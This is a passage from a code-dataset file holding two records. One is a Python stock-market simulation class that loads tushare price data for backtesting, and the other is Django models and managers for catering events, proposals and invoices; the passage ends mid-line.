{"seq_id": "38381406468", "text": "# -*- coding:utf-8 -*-\nimport os\n\nimport pandas as pd\nimport tushare as ts\n\nfrom tenvs.common.logger import logger\n\n\nclass Market:\n    \"\"\"\n    模拟市场，加载环境所需要的数据\n    NOTE(wen):\n        从多数实验可以发现，使用后复权的数据做为模型输入，性能更优， Market统一使用\n        后复权数据做模型的输入, 而不复权的数据做买卖的判断\n    indexs:\n        000001.SH: 上证指数\n        399001.SZ: 深证成指\n        ...\n    NOTE(wen): 使用tushare下载指数日线信息需要在tushare.pro帐户中有200积分\n    data_dir: 存储数据文件的目录，以降低重复下载的频率\n    \"\"\"\n\n    def __init__(self,\n                 ts_token=\"\",\n                 start=\"20190101\",\n                 end=\"20200101\",\n                 codes=[\"000001.SZ\"],\n                 indexs=[\"000001.SH\", \"399001.SZ\"],\n                 data_dir=\"/tmp/tenvs\"):\n        ts.set_token(ts_token)\n        self.start = start\n        self.end = end\n        self.codes = codes\n        self.indexs = indexs\n        self.data_dir = data_dir\n        self.load_codes_history()\n        self.load_indexs_history()\n        # hfq数据: 去除不复权数据(9列) 和复权因子(1列): 10, 从第11列开始是后复权数据\n        self.equity_hfq_info_start_index = 10\n        self.init_market_info()\n        self.init_size_info()\n        # 涨停判断\n        # NOTE(wen): 如果涨跌幅超过 top_pct_change则认为到达涨跌停的状态\n        # TODO: 准确的涨跌停判断方式\n        self.top_pct_change = 9.7\n\n    def get_info_size(self, info_name):\n        date = self.open_dates[0]\n        return len(self.market_info[date][info_name])\n\n    def init_size_info(self):\n        \"\"\"\n        初始化数据的size\n        \"\"\"\n        self.equity_hfq_info_size = self.get_info_size(\"equities_hfq_info\")\n        self.indexs_info_size = self.get_info_size(\"indexs_info\")\n\n    def get_code_history(self, code, adj=None):\n        return ts.pro_bar(\n            ts_code=code, adj=adj,\n            start_date=self.start, end_date=self.end)\n\n    def load_codes_history(self):\n        \"\"\"\n        self.codes_history: dict\n        每条记录由两部分数据组成: 复权因子(1列), 不复权数据(9列), 后复权数据(9列)\n            复权因子: adj_factor(1列)\n            不复权OHLCV, ... (9列)\n            后复权OHLCV, ... (9列)\n\n        self.codes_history[code].columns的值为:\n        [u'adj_factor', u'open', u'high', u'low', u'close', u'pre_close',\n        u'change', u'pct_chg', u'vol', u'amount', u'open_hfq', u'high_hfq',\n        u'low_hfq', u'close_hfq', u'pre_close_hfq', u'change_hfq',\n        u'pct_chg_hfq', u'vol_hfq', u'amount_hfq']\n        \"\"\"\n\n        self.codes_history = {}\n        for code in self.codes:\n            dir = os.path.join(self.data_dir, code)\n            if not os.path.exists(dir):\n                try:\n                    os.makedirs(dir)\n                except OSError:\n                    pass\n            data_path = os.path.join(dir,\n                                     self.start + \"-\" + self.end + \".csv\")\n            if os.path.exists(data_path):\n                df = pd.read_csv(data_path)\n                df = df.set_index(\"trade_date\")\n                df.index = df.index.astype(str, copy=False)\n                self.codes_history[code] = df\n\n            else:\n                # 不复权\n                df_bfq = self.get_code_history(code, adj=None)\n                df_bfq = df_bfq.drop(columns=[\"ts_code\"], axis=1)\n                # 后复权\n                df_hfq = self.get_code_history(code, adj=\"hfq\")\n                df_hfq = df_hfq.drop(columns=[\"ts_code\"], axis=1)\n                df = pd.merge(df_bfq, df_hfq,\n                              on='trade_date', how='left',\n                              suffixes=('', '_hfq'))\n                # 拆分因子\n                col_name = df.columns.tolist()\n                col_name.insert(0, 'adj_factor')\n                df = df.reindex(columns=col_name)\n                df[\"adj_factor\"] = df[\"close_hfq\"] / df[\"close\"]\n                df = df.sort_values(by=\"trade_date\", ascending=True)\n                df = df.set_index(\"trade_date\")\n                df.index = df.index.astype(str, copy=False)\n                df.to_csv(data_path)\n                self.codes_history[code] = df\n\n    def load_indexs_history(self):\n        self.indexs_history = {}\n        # 默认加载: 000001.SH(上证指数), 399001.SZ(深城证指)\n        indexs = [\"000001.SH\", \"399001.SZ\"]\n        for code in self.indexs:\n            if code not in indexs:\n                indexs.append(code)\n\n        for code in indexs:\n            dir = os.path.join(self.data_dir, \"indexs\", code)\n            if not os.path.exists(dir):\n                os.makedirs(dir)\n            data_path = os.path.join(dir,\n                                     self.start + \"-\" + self.end + \".csv\")\n            if os.path.exists(data_path):\n                df = pd.read_csv(data_path)\n                df = df.set_index(\"trade_date\")\n                df.index = df.index.astype(str, copy=False)\n                self.indexs_history[code] = df\n            else:\n                pro = ts.pro_api()\n                df = pro.index_daily(ts_code=code,\n                                     start_date=self.start,\n                                     end_date=self.end)\n                df = df.drop(columns=[\"ts_code\"], axis=1)\n                df = df.sort_values(by=\"trade_date\", ascending=True)\n                df = df.set_index(\"trade_date\")\n                df.index = df.index.astype(str, copy=False)\n                df.to_csv(data_path)\n                self.indexs_history[code] = df\n\n    def set_pre_info(self):\n        date = self.open_dates[0]\n        self.equities_pre_hfq_info = {}\n        self.equities_pre_bfq_info = {}\n        for code in self.codes:\n            # 如果第一天就停牌，这里会出错，建议另外选择一天开始回测\n            try:\n                data = self.codes_history[code].loc[date].tolist()\n                bfq_data = data[1: self.equity_hfq_info_start_index]\n                # 开盘时， open=1\n                bfq_data.append(1)\n                self.equities_pre_bfq_info[code] = bfq_data\n                # 后复权\n                hfq_data = data[self.equity_hfq_info_start_index:]\n                # 开盘时， open=1\n                hfq_data.append(1)\n                self.equities_pre_hfq_info[code] = hfq_data\n            except Exception as e:\n                print(\"%s, %s停牌，建议另外选择一天开始回测\" % (code, date))\n                print(e)\n                exit()\n\n    def get_equities_bfq_info(self, date):\n        info = []\n        for code in self.codes:\n            data = None\n            if date in self.codes_history[code].index:\n                data = self.codes_history[code].loc[date].tolist()\n                data = data[1: self.equity_hfq_info_start_index]\n                # 开盘时， open=1\n                data.append(1)\n            else:\n                # 如果停牌则使用前一开盘日信息\n                data = self.equities_pre_bfq_info[code]\n                data[-1] = 0\n            # 更新前一开盘日信息\n            self.equities_pre_bfq_info[code] = data\n            info.extend(data)\n        return info\n\n    def get_equities_hfq_info(self, date):\n        info = []\n        for code in self.codes:\n            data = None\n            if date in self.codes_history[code].index:\n                data = self.codes_history[code].loc[date].tolist()\n                data = data[self.equity_hfq_info_start_index:]\n                # 开盘时， open=1\n                data.append(1)\n            else:\n                # 如果停牌则使用前一开盘日信息\n                data = self.equities_pre_hfq_info[code]\n                data[-1] = 0\n            # 更新前一开盘日信息\n            self.equities_pre_hfq_info[code] = data\n            info.extend(data)\n        return info\n\n    def get_indexs_info(self, date):\n        info = []\n        for code in self.indexs:\n            data = self.indexs_history[code].loc[date].tolist()\n            info.extend(data)\n        return info\n\n    def init_market_info(self):\n        \"\"\"\n        以日期为key, 将市场相关信息组织在一个dict中:\n            equities_hfq_info: 合并之后的个股信息, 如果某支股停牌，则使用它前一开盘日信息\n            indexs_info: 合并之后指数信息\n        Note(wen): 添加其他市场相关信息，都放在这里\n        \"\"\"\n        self.open_dates = self.indexs_history[\"000001.SH\"].index.tolist()\n        self.open_dates.sort()\n        self.set_pre_info()\n        self.market_info = {}\n        for date in self.open_dates:\n            self.market_info[date] = {}\n            self.market_info[date][\"equities_bfq_info\"] = \\\n                self.get_equities_bfq_info(date)\n            self.market_info[date][\"equities_hfq_info\"] = \\\n                self.get_equities_hfq_info(date)\n            self.market_info[date][\"indexs_info\"] = self.get_indexs_info(date)\n\n    def is_suspended(self, code='', datestr=''):\n        # 是否停牌，是：返回 True, 否：返回 False\n        if code not in self.codes_history:\n            return True\n        if datestr not in self.codes_history[code].index:\n            return True\n        return False\n\n    def buy_check(self, code='', datestr='', bid_price=None):\n        # 返回：OK, 成交价\n        ok = False\n        # 停牌\n        if self.is_suspended(code, datestr):\n            return ok, 0\n        # 获取当天标的信息\n        [open, high, low, pct_change] = self.codes_history[code].loc[\n            datestr, [\"open\", \"high\", \"low\", \"pct_chg\"]]\n        # 涨停封板, 无法买入\n        if low == high and pct_change > self.top_pct_change:\n            logger.debug(u\"sell_check %s %s 涨停法买进\" % (code, datestr))\n            return ok, 0\n        # 买入竞价低于最低价，不能成交\n        if bid_price < low:\n            return ok, 0\n        # 买入竞价高于最低价， 可以成交\n        if bid_price >= low:\n            return True, min(bid_price, high)\n\n    def sell_check(self, code='', datestr='', bid_price=None):\n        # 返回：OK, 成交价\n        ok = False\n        # 停牌\n        if self.is_suspended(code, datestr):\n            return ok, 0\n        # 获取当天标的信息\n        [open, high, low, pct_change] = self.codes_history[code].loc[\n            datestr, [\"open\", \"high\", \"low\", \"pct_chg\"]]\n        # 跌停封板， 不能卖出\n        if low == high and pct_change < -self.top_pct_change:\n            logger.debug(u\"sell_check %s %s 跌停无法卖出\" % (code, datestr))\n            return ok, 0\n        # 卖出竞价高于最高价，不可以成交\n        if bid_price > high:\n            return ok, 0\n        # 卖出竞价在最低最高价之间， 可以成交，按出价成交\n        # NOTE: 这里卖出竞价低于最低价时，可以成交，按最低价成交\n        if bid_price <= high:\n            ok = True\n            return ok, max(bid_price, low)\n\n    def get_pre_close_price(self, code, datestr):\n        if datestr in self.codes_history[code].index:\n            return self.codes_history[code].loc[datestr][\"pre_close\"]\n        # 如果当天停牌, 返回前一开市日的pre_close\n        df = self.codes_history[code]\n        df_ = df[df.index < datestr]\n        return df_.iloc[-1][\"pre_close\"]\n\n    def get_close_price(self, code, datestr):\n        if datestr in self.codes_history[code].index:\n            return self.codes_history[code].loc[datestr][\"close\"]\n        # 如果当天停牌, 返回前一开市日收盘价\n        df = self.codes_history[code]\n        df_ = df[df.index < datestr]\n        return df_.iloc[-1][\"close\"]\n\n    def get_pre_adj_factor(self, code, datestr):\n        df = self.codes_history[code]\n        df_ = df[df.index < datestr]\n        return df_.iloc[-1][\"adj_factor\"]\n\n    def get_adj_factor(self, code, datestr):\n        if self.is_suspended(code=code, datestr=datestr):\n            return self.get_pre_adj_factor(code, datestr)\n        else:\n            return self.codes_history[code].loc[datestr][\"adj_factor\"]\n\n    def get_divide_rate(self, code, datestr):\n        pre_adj_factor = self.get_pre_adj_factor(code, datestr)\n        current_adj_factor = self.get_adj_factor(code, datestr)\n        return current_adj_factor / pre_adj_factor\n", "repo_name": "tradingAI/tenvs", "sub_path": "tenvs/market.py", "file_name": "market.py", "file_ext": "py", "file_size_in_byte": 12511, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tushare.set_token", "line_number": 31, "usage_type": "call"}, {"api_name": "tushare.pro_bar", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 90, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 131, "usage_type": "call"}, {"api_name": "tushare.pro_api", "line_number": 136, "usage_type": "call"}, {"api_name": "tenvs.common.logger.logger.debug", "line_number": 250, "usage_type": "call"}, {"api_name": "tenvs.common.logger.logger", "line_number": 250, "usage_type": "name"}, {"api_name": "tenvs.common.logger.logger.debug", "line_number": 270, "usage_type": "call"}, {"api_name": "tenvs.common.logger.logger", "line_number": 270, "usage_type": "name"}]}
{"seq_id": "32777883323", "text": "from datetime import datetime\n\nfrom django.db import models, transaction\n\n\n#Managers\nfrom django.db.models.aggregates import Count\nfrom django.db.models.fields import DateTimeField\nfrom django.utils import formats\nfrom django.utils.encoding import force_bytes\nfrom django.utils.http import urlsafe_base64_encode\nfrom base.api.util import serialize_query\nfrom base.exceptions import EventDataError\nfrom base.prodserv_models import Product, Service\nfrom base.signals import proposal_accepted, event_booking_success\nfrom stripe_cater.models import PaymentOrder\n\n\nclass EventManager(models.Manager):\n    ERROR = -1\n    ERRORS = [ERROR]\n    def get_event_by(self, id, business=None):\n        query = self.exclude(status=N_Event_Status.CANCELLED).filter(id=id)\n        if business:\n            query = query.filter(customer__business=business)\n        return query.first()\n\n    def create_or_update_invoice_from_event(self, data, invoice, handly = False):\n\n        if invoice:\n            response = self.create_or_update_proposal_from_event(data, proposal=invoice.proposal)\n            if response in self.ERRORS:\n                return response\n            else:\n                invoice.status = N_Invoice_Status.objects.get(pk=N_Invoice_Status.EDITTING)\n                invoice.update_due_date(data.get('due_date'))\n                # changing_event_data.send(sender=Invoice,invoice=invoice)\n                return invoice\n        else:\n           response = self.create_or_update_proposal_from_event(data, from_invoice= handly)\n           if response in self.ERRORS:\n                return response\n           else:\n                response = Invoice.objects.create_from_proposal(due_date=data.get('due_date'),proposal=response)\n                if response in Invoice.objects.ERRORS:\n                    return self.ERROR\n                else:\n                    return response\n\n    def create_or_update_proposal_from_event(self, data, proposal=None, from_invoice=False):\n        comment = data.get('comment')\n        if proposal:\n            response = self.create_or_update_event(data=data, instance=proposal.event)\n            if response not in self.ERRORS:\n                if proposal.status.id != N_Proposal_Status.DENIED:#para que se mantenga denegado\n                    proposal.status = N_Proposal_Status.objects.get(pk=N_Proposal_Status.EDITTING)\n                proposal.client_message = comment\n                proposal.save()\n                # changing_event_data.send(sender=Proposal,proposal=proposal)\n                return proposal\n            else:\n                return response\n        else:\n\n            response = self.create_or_update_event(data=data,status=N_Event_Status.ACCEPTED)\n            if response in self.ERRORS:\n                return response\n\n\n            try:\n               proposal =  Proposal.objects.create_proposal(event=response,client_message=comment, from_invoice=from_invoice)\n               return proposal\n            except Exception as e:\n                print(e)\n                return self.ERROR\n\n\n    def create_or_update_event(self, data, instance=None, status=None):\n        name = data.get('name')\n        # address = data.get('address')\n        event_date = data.get('event_date')\n        # due_date = data.get('due_date')\n        customer = data.get('customer')\n        address = {}\n        address['first_line'] = data.get('first_line')\n        address['second_line'] = data.get('second_line')\n        address['zip'] = data.get('zip')\n        address['city'] = data.get('city')\n        address['state'] = data.get('state')\n\n        try:\n            if instance:\n                instance.name = name\n                instance.address.update(data=address)\n                instance.event_date = event_date\n                # instance.due_date = due_date\n                instance.customer = customer\n\n                instance.save()\n\n                return instance\n            else:\n                status_value = N_Event_Status.objects.get(pk=N_Event_Status.ACCEPTED)\n                if status:\n                    status_value = status\n                address_obj = Address.objects.create_address(data=address)\n\n                event = self.create(name=name, address=address_obj, event_date = event_date,\n                                    # due_date=due_date,\n                                    customer=customer, status=status_value)\n\n                return event\n        except Exception as e:\n            print(e)\n            return self.ERROR\n\n    def create_event_from_external_source(self, data, customer, req_platos=[], req_servicios=[]):\n        data_to_save = {'name':data.get('evento_name'),\n                        'address':data.get('evento_address'),\n                        'event_date':data.get('evento_date'),\n                        'customer':customer,\n                        'first_line': data.get('evento_first_line'),\n                        'second_line': data.get('evento_second_line'),\n                        'city':data.get('evento_city'),\n                        'zip':data.get('evento_zip'),\n                        'state':data.get('evento_state')\n                        }\n\n\n        business = customer.business\n\n        param_event_date = DateTimeField().to_python(value=data.get('evento_date'))\n        schedule_events_at = self.number_of_events_schedule_at(event_date=param_event_date.date(),\n                                                               business=business)\n\n\n        can_be_accepted = business.can_accepted_one_more(schedule_events_at)\n\n        status = N_Event_Status.objects.get(pk=N_Event_Status.PENDING)\n\n        if can_be_accepted:\n            status = N_Event_Status.objects.get(pk=N_Event_Status.ACCEPTED)\n\n        print(can_be_accepted)\n        response = self.create_or_update_event(data=data_to_save, status=status)\n\n        if response in self.ERRORS:\n            raise EventDataError()\n        # asociar casa req al evento\n        type = N_Request_Type.objects.get(pk=N_Request_Type.PRODUCT)\n        requests = []\n        for req in req_platos:\n            req_obj = Request.objects.create_from_external_source(data=req, event=response, type=type)\n            requests.append(req_obj)\n        type = N_Request_Type.objects.get(pk=N_Request_Type.SERVICE)\n        for req in req_servicios:\n            req_obj = Request.objects.create_from_external_source(data=req, event=response, type=type)\n            requests.append(req_obj)\n        print(requests)\n        Request.objects.bulk_create(requests)\n\n\n        event_booking_success.send(sender=None,event=response)\n        return response\n\n\n\n    def number_of_events_schedule_at(self, event_date, business):\n        return self.filter(customer__business=business).filter(event_date__date=event_date).exclude(status=N_Event_Status.CANCELLED).count()\n\n    def get_events_(self, business=None, id=None):\n        query = self.exclude(status=N_Event_Status.CANCELLED)\n        if id:\n            query = query.filter(id=id)\n        if business:\n          query = query.filter(customer__business=business)\n        return query\n\n    def bulk_delete(self, ids_list):\n        status = N_Event_Status.objects.get(pk=N_Event_Status.CANCELLED)\n        with transaction.atomic():\n            Invoice.objects.bulk_delete_by_events(event_ids_list=ids_list)\n            Proposal.objects.bulk_delete_by_evetns(event_ids_list=ids_list)\n            deleted = self.filter(id__in=ids_list).update(status=status)\n            return deleted\n\nclass ProposalManager(models.Manager):\n    ERROR = -1\n    ERROR_TOKEN = -2\n    ERROR_EXPIRED = -3\n    ERROR_INVOICE = -4\n    ERROR_PRESUPUESTO_ACCEPTADO =-5\n    ERROR_PRESUPUESTO_DENEGADO= -6\n    OK = 0\n    ERRORS = [ERROR, ERROR_TOKEN,ERROR_EXPIRED]\n    def generate_number(self):\n        return int(datetime.today().timestamp() * 1000000)\n    def create_proposal(self, event, client_message=None, from_invoice=False):\n        status = N_Proposal_Status.objects.get(pk=N_Proposal_Status.EDITTING)\n        if from_invoice:\n            status = N_Proposal_Status.objects.get(pk=N_Proposal_Status.ACCEPTED)\n        return self.create(event=event, status=status, number=self.generate_number(), client_message=client_message)\n    def create_proposal_from_external_source(self, event):\n        return self.create_proposal(event=event)\n\n    def get_by_id(self, id, business=None, hide_cancelled=True):\n        query = self.filter(id=id)\n        if hide_cancelled:\n          query = query.exclude(status=N_Proposal_Status.CANCELLED)\n        if business:\n            query = query.filter(event__customer__business=business)\n        p = query.first()\n        if p:\n            return p\n        else:\n            return self.ERROR\n\n    def get_by_business(self, business, hide_cancelled=True):\n        query = self.filter(event__customer__business=business)\n        if hide_cancelled:\n           query =  query.exclude(status=N_Proposal_Status.CANCELLED)\n        return query\n\n\n\n    def deny_proposal(self, id, token):\n        p = self.filter(id=id).filter(send_token=token).filter(status=N_Proposal_Status.PENDING).first()\n        if p:\n            if p.has_expired():\n                return self.ERROR_EXPIRED\n            p.deny()\n            # p.reset_token()\n            # p.status = N_Proposal_Status.objects.get(pk=N_Proposal_Status.DENIED)\n            # p.save()\n            return p\n        else:\n            return self.ERROR_TOKEN\n\n    def accpet_proposal(self, id, token):\n        p = self.filter(id=id).filter(send_token=token).filter(status=N_Proposal_Status.PENDING).first()\n        if p:\n            if p.has_expired():\n                return self.ERROR_EXPIRED\n            response = p.accept()\n\n            if response in Invoice.objects.ERRORS:\n                return self.ERROR_INVOICE\n            # p.reset_token()\n            # p.status = N_Proposal_Status.objects.get(pk=N_Proposal_Status.ACCEPTED)\n            # p.save()\n            return p\n        else:\n            return self.ERROR_TOKEN\n\n    def cancell_proposal(self, proposal):\n        try:\n            proposal.status = N_Proposal_Status.objects.get(id=N_Proposal_Status.CANCELLED)\n            proposal.save()\n            return self.OK\n        except:\n            return self.ERROR\n\n    def bulk_delete(self, ids_list, business):\n        cancelled_status = N_Proposal_Status.objects.get(id=N_Proposal_Status.CANCELLED)\n        Proposal.objects.filter(id__in=ids_list).filter(event__customer__business=business).update(status=cancelled_status)\n\n    def bulk_delete_by_evetns(self, event_ids_list):\n        cancelled_status = N_Proposal_Status.objects.get(id=N_Proposal_Status.CANCELLED)\n        Proposal.objects.filter(event__id__in=event_ids_list).update(status=cancelled_status)\n\n    def get_invoices_all(self, business):\n        return  self.annotate(ni=Count('invoice')).filter(ni=1).\\\n                filter(event__customer__business=business).filter(invoice__deleted=False)\n\nclass InvoiceManager(models.Manager):\n    ERROR = -1\n    ERROR_TOKEN = -2\n    ERROR_EXPIRED = -3\n    OK = 0\n    ERRORS = [ERROR, ERROR_EXPIRED, ERROR_TOKEN]\n    def generate_number(self):\n        return str(int(datetime.today().timestamp() * 1000000))\n\n    def create_from_proposal(self, proposal, handly = True, due_date=None):\n        try:\n            # status = N_Invoice_Status.objects.get(pk=N_Invoice_Status.CREATED)\n            # if handly:\n            status = N_Invoice_Status.objects.get(pk=N_Invoice_Status.EDITTING)\n\n            due_date_value = proposal.event.event_date\n            if due_date:\n                due_date_value = due_date\n\n            invoice = self.create(due_date=due_date_value,\n                number=self.generate_number(), proposal=proposal, status=status)\n            return invoice\n        except Exception as e:\n            print(e)\n            return self.ERROR\n\n    def get_by_id(self, id, business=None, hide_deleted=True):\n        query = self.filter(id=id)\n        if hide_deleted:\n          query = query.exclude(deleted=True)\n        if business:\n            query = query.filter(proposal__event__customer__business=business)\n        inv = query.first()\n        if inv:\n            return inv\n        else:\n            return self.ERROR\n\n    def get_invoice_to_pay_by_id(self, id, token):\n        invoice = self.filter(id=id).exclude(deleted=True).filter(send_token=token).first()\n        print(invoice.status)\n        if invoice and invoice.status.id not in [N_Invoice_Status.PAID]:\n            return invoice\n        else:\n            return self.ERROR\n\n\n    def get_by_business(self, business, hide_deleted=True):\n        query = self.filter(proposal__event__customer__business=business)\n        if hide_deleted:\n           query = query.exclude(deleted=True)\n        return query\n\n\n\n    def delete_invoice(self, invoice):\n        response = Proposal.objects.cancell_proposal(invoice.proposal)\n        if response in Proposal.ERRORS:\n            return self.ERROR\n        try:\n            invoice.deleted = True\n            invoice.save()\n            return self.OK\n        except:\n            return self.ERROR\n\n    def get_invoice_by_payment(self, payment):\n        return self.filter(payment_order=payment).first()\n\n    def get_by_proposal(self, proposal):\n        return self.filter(proposal=proposal).first()\n\n    def chekc_due_date(self, business=None):\n        today = datetime.today()\n        query = Invoice.objects.filter(status=N_Invoice_Status.PENDING).filter(due_date__lt=today)\n        if business:\n            query = query.filter(proposal__event__customer__business=business)\n        query.update(status=N_Invoice_Status.PAST_DUE)\n\n    def bulk_delete(self, ids_list, business):\n        Invoice.objects.filter(id__in=ids_list).filter(proposal__event__customer__business=business).update(deleted=True)\n\n    def bulk_delete_by_events(self, event_ids_list):\n        Invoice.objects.filter(proposal__event__id__in=event_ids_list).update(deleted=True)\n\n\nclass ItemManager(models.Manager):\n     ERROR = -1\n     ERRORS = [ERROR]\n     def update_item(self, data, item):\n          try:\n              oferta = data.get('oferta')\n              oferta = Oferta.objects.get_oferta_by_name(name=oferta, business=item.oferta.business)\n              discount = data.get('discount')\n              unit_cost = data.get('unit_cost')\n              quantity = data.get('quantity')\n              tax = data.get('tax') or item.proposal.get_tax()\n              description = data.get('description')\n\n              item.tax = tax\n              item.oferta = oferta\n              item.discount = discount\n              item.description = description\n              item.unit_cost = unit_cost\n              item.quantity = quantity\n\n              item.save()\n              # changing_item_data.send(sender=None, proposal=item.proposal)\n              return item\n          except:\n              return self.ERROR\n\n     def delete_item(self,id):\n         try:\n            item = self.get(pk=id)\n            # changing_item_data.send(sender=None, proposal=item.proposal)\n            item.delete()\n         except Exception as e:\n             print(e)\n             pass\n\n     def create_item(self, item_data,proposal, flush=True):\n         type_id = item_data.get('type')\n         if isinstance(type_id, dict):\n             type_id = type_id.get('id')\n         type = N_Request_Type.objects.get(pk=type_id)\n\n         item_entity = Item(proposal=proposal,\n                                   tax=item_data.get('tax'),\n                                   discount=item_data.get('discount'),\n                                   unit_cost=item_data.get('unit_cost'),\n                                   quantity=item_data.get('quantity'),\n                                   type=type,\n                                   )\n         request_id = item_data.get('request')\n         if isinstance(request_id, dict):\n             request_id = request_id.get('id')\n\n         if type.id == N_Request_Type.PRODUCT:\n             item_entity.product = Product.objects.get(pk=request_id)\n         else:\n             item_entity.service = Service.objects.get(pk=request_id)\n\n         if flush:\n             item_entity.save()\n\n         return item_entity\n\n     def update_item(self, item_data,flush=True):\n         item = self.get(pk=item_data.get('id'))\n\n         type_id = item_data.get('type')\n         if isinstance(type_id, dict):\n             type_id = type_id.get('id')\n\n         type = N_Request_Type.objects.get(pk=type_id)\n         item.tax=item_data.get('tax')\n         item.discount=item_data.get('discount')\n         item.unit_cost=item_data.get('unit_cost')\n         item.quantity=item_data.get('quantity')\n         item.type = type\n\n\n         if type.id == N_Request_Type.PRODUCT:\n             item.product = Product.objects.get(pk=item_data.get('product').get('id'))\n         else:\n             item.service = Service.objects.get(pk=item_data.get('service').get('id'))\n\n         if flush:\n             item.save()\n\n         return item\n\n\nclass RequestManager(models.Manager):\n\n    def create_from_external_source(self, type,event, data, flush=False):\n\n        req = Request(type=type, event=event, amount=data.get('amount'))\n        if type.id == N_Request_Type.PRODUCT:\n            req.product = Product.objects.get(pk=data.get('id'))\n        else:\n            req.service = Service.objects.get(pk=data.get('id'))\n\n        if flush:\n            req.save()\n        return req\n\n#Models\nfrom base.models import Customer, Oferta, ModelSerialize, Address\n\n\nclass Event(models.Model, ModelSerialize):\n    objects = EventManager()\n    name = models.CharField(max_length=255)\n    # address = models.CharField(max_length=255)\n    address = models.ForeignKey(Address)\n    event_date = models.DateTimeField()\n    # due_date = models.DateField()\n    customer = models.ForeignKey(Customer)\n    status = models.ForeignKey('N_Event_Status')\n\n    default_fields = ['name','address','event_date','customer','status','id','can_remove']\n\n    def schedule(self):\n        self.status = N_Event_Status.objects.get(pk=N_Event_Status.SCHEDULED)\n        self.save()\n\n    def accepted(self):\n        self.status = N_Event_Status.objects.get(pk=N_Event_Status.ACCEPTED)\n        self.save()\n\n    def is_scheduled(self):\n        return self.status.id == N_Event_Status.SCHEDULED\n\n    def may_send_proposal(self):\n        return self.status.id == N_Event_Status.SCHEDULED\n\n    def may_create_proposal(self):\n        # return self.status.id == N_Event_Status.SCHEDULED and self.proposal_set.count() == 0\n        return self.proposal_set.count() == 0\n\n    def get_requests(self):\n        return self.request_set.all()\n\n    def __str__(self):\n        return self.name\n\n    def serializable_value(self, field_name):\n        if field_name not in ['customer','address','proposal','can_remove']:\n            return super(Event, self).serializable_value(field_name)\n        # if field_name == 'event_date':\n            # return formats.date_format(self.event_date, 'Y-m-d H:m')\n        if field_name == 'customer':\n            return self.customer.serialize(fields=['email','first_name','last_name','suffix','prefix','cellphone','id','full_name'])\n        if field_name == 'address':\n            return self.address.serialize()\n        if field_name == 'proposal':\n            prop = self.proposal_set.first()\n            if prop:\n                return prop.serialize(fields=['id','status', 'invoice'])\n            else:\n                return None\n        if field_name == 'can_remove':\n            can_remove = self.can_be_removed()\n            return can_remove\n\n    def can_be_removed(self):\n        return self.status.id not in [N_Event_Status.DONE]\n    # def serialize(self, fields=[]):\n    #\n    #     if len(fields) == 0:\n    #         fields = Event.default_fields\n    #\n    #     response = {}\n    #     for fd in fields:\n    #         # print(fd,self.serializable_value(fd))\n    #         response[fd] = self.serializable_value(fd)\n    #     return response\n\n\n\n\nclass Proposal(models.Model, ModelSerialize):\n\n    DEFAULT_TOKEN_VALUE = '0'\n    ERROR = -1\n    ERRORS = [ERROR]\n    objects = ProposalManager()\n    event = models.ForeignKey(Event)\n    status = models.ForeignKey('N_Proposal_Status')\n    client_message = models.TextField(max_length=150, null=True, default='')\n    number = models.CharField(default='0', max_length=50)\n    send_token = models.CharField(default=DEFAULT_TOKEN_VALUE, max_length=50)\n    created_at = models.DateTimeField(auto_now_add=True)\n    denied_by_system = models.BooleanField(default=False)\n\n    default_fields = ['id','status','event','items', 'can_send','can_edit', 'can_resend']\n\n    def serializable_value(self, field_name):\n        if field_name == 'event':\n            return self.event.serialize()\n        if field_name == 'items':\n            return serialize_query(self.item_set.all())\n        if field_name == 'can_send':\n            cand_send = self.may_send_email() and self.status.id != N_Proposal_Status.PENDING\n            return cand_send\n        if field_name == 'can_resend':\n            can_resend = self.may_send_email() and self.status.id == N_Proposal_Status.PENDING\n            return can_resend\n        if field_name == 'can_edit':\n            can_edit = self.may_be_editted()\n            return can_edit\n        if field_name == 'invoice':\n            invoice = self.invoice_set.first()\n            if invoice:\n                return invoice.serialize()\n            return None\n        return super(Proposal, self).serializable_value(field_name)\n\n    def get_items(self):\n        return self.item_set.all()\n\n    def __str__(self):\n        return self.event.name\n\n    def get_item_by_id(self, id):\n        try:\n            return self.item_set.get(pk=id)\n        except:\n            return self.ERROR\n\n    def add_item(self, data, business):\n        try:\n            oferta = data.get('oferta')\n            oferta = Oferta.objects.get_oferta_by_name(name=oferta, business=business)\n            discount = data.get('discount')\n            unit_cost = data.get('unit_cost')\n            quantity = data.get('quantity')\n            tax = data.get('tax') or self.get_tax()\n            description = data.get('description')\n\n            item = Item.objects.create(tax=tax, quantity=quantity,oferta=oferta, discount=discount, description=description, unit_cost=unit_cost, proposal=self)\n            # changing_item_data.send(sender=None, proposal=self)\n            return item\n        except Exception as e:\n            print(e)\n            return self.ERROR\n\n    def add_items_list(self, data_items):\n        lista = []\n\n        for item in data_items:\n            if item.get('id'):\n                Item.objects.update_item(item_data=item, flush=False)\n            else:\n                item_entity = Item.objects.create_item(item_data=item, proposal=self, flush=False)\n                lista.append(item_entity)\n        Item.objects.bulk_create(lista)\n\n    def create_items_from_requests(self, requests):\n        item_list = []\n        for req in requests:\n            quantity = req.amount\n            type = req.type\n            tax = 